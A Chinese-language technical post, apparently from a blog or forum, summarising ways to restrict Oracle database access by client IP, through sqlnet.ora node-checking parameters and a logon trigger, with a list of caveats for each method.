CREATE OR REPLACE PACKAGE "SECURITY" IS
  FUNCTION ISLEGALIP(USERIP IN VARCHAR2,USERNAME IN VARCHAR2) RETURN BOOLEAN;
 FUNCTION Chartonumcompare(Char1 IN VARCHAR2,Char2 IN VARCHAR2) RETURN NUMBER ;
 FUNCTION Ipcompare(Ip1 IN VARCHAR2,Ip2 IN VARCHAR2) RETURN NUMBER ;
 END Security;
/
程序包体就不提供了
就是关于上面3个函数的
 
itpub上有一个帖子讨论了一个话题,就是关于限定访问Oracle客户端IP的方法问题的讨论,我印象中似乎这样的问题在论坛上已经讨论了比较多了,今天就总结一下。

[url]http://www.itpub.net/743725[/url],1.html

  这里讨论的在Oracle数据库层面上限制IP的方法,当然还有可以在网络层面上限制IP,例如防火墙软件等方式。应用层,例如:WebLogic设置访问数据库的IP

  Oracle数据库中由于版本的差异,可以通过不同的方式来解决这些问题。

有几种方式来实现这样的功能:

1
、 修改SQLNET.ora文件限制访问数据库的IP
2
、 使用触发器实现。

sqlnet.ora
文件的功能:

1. Specify the client domain to append to unqualified names

2. Prioritize naming methods

3. Enable logging and tracing features

4. Route connections through specific processes

5. Configure parameters for external naming

6. Configure Oracle Advanced Security

7. Use protocol-specific parameters to restrict access to the database


这里使用的就是sqlnet.ora文件的第七项功能限制访问数据库的连接。

适用版本:oracle 9i以上版本
9i提供了几个参数:
TCP.EXCLUDED_NODES
设置禁止访问数据库的IP地址列表。
TCP.INVITED_NODES
设置允许访问数据库的IP地址列表,当这个参数和TCP.EXCLUDED_NODES设置的地址相同的时候将覆盖TCP.EXCLUDED_NODES设置。
TCP.VALIDNODE_CHECKING
检测上述参数的设置。

例如:
tcp.validnode_checking=yes
#允许访问的ip
tcp.invited_nodes =(ip1,ip2,……)
#不允许访问的ip
tcp.excluded_nodes=(ip1,ip2,……)
 

通过这样的设置就可以根据自己的需要更改,

需要注意的问题:
1
、 需要设置参数为YES,这样才能激活。
2
、 建议设置允许访问的IP,因为IP地址有可能被随意修改,就不能起到自己的目的。
3
TCP当参数TCP.INVITED_NODESTCP.EXCLUDED_NODES设置的地址相同的时候将覆盖TCP.EXCLUDED_NODES设置。
4
、 需要重启监听器才能生效。
5
、 这个方式只是适合TCP协议。
6
、 这个配置适用于9i以上版本。在9i之前的版本使用文件protocol.ora
7
、 在服务器上直接连接数据库不受影响。
8
、 这种限制方式事通过监听器来限制的。
 
 9、 这个限制只是针对IP检测,对于用户名检测事不支持的。
10
、使用触发器
create or replace trigger stop_52_connect
after logon on scott2.schema
declare
ipinfo VARCHAR2(30);
begin
select sys_context('userenv','ip_address') into ipinfo from dual;
if ipinfo='172.16.0.52' then
raise_application_error('-20001','you can not logon by scott2');
end if;
end stop_52_connect;
 
1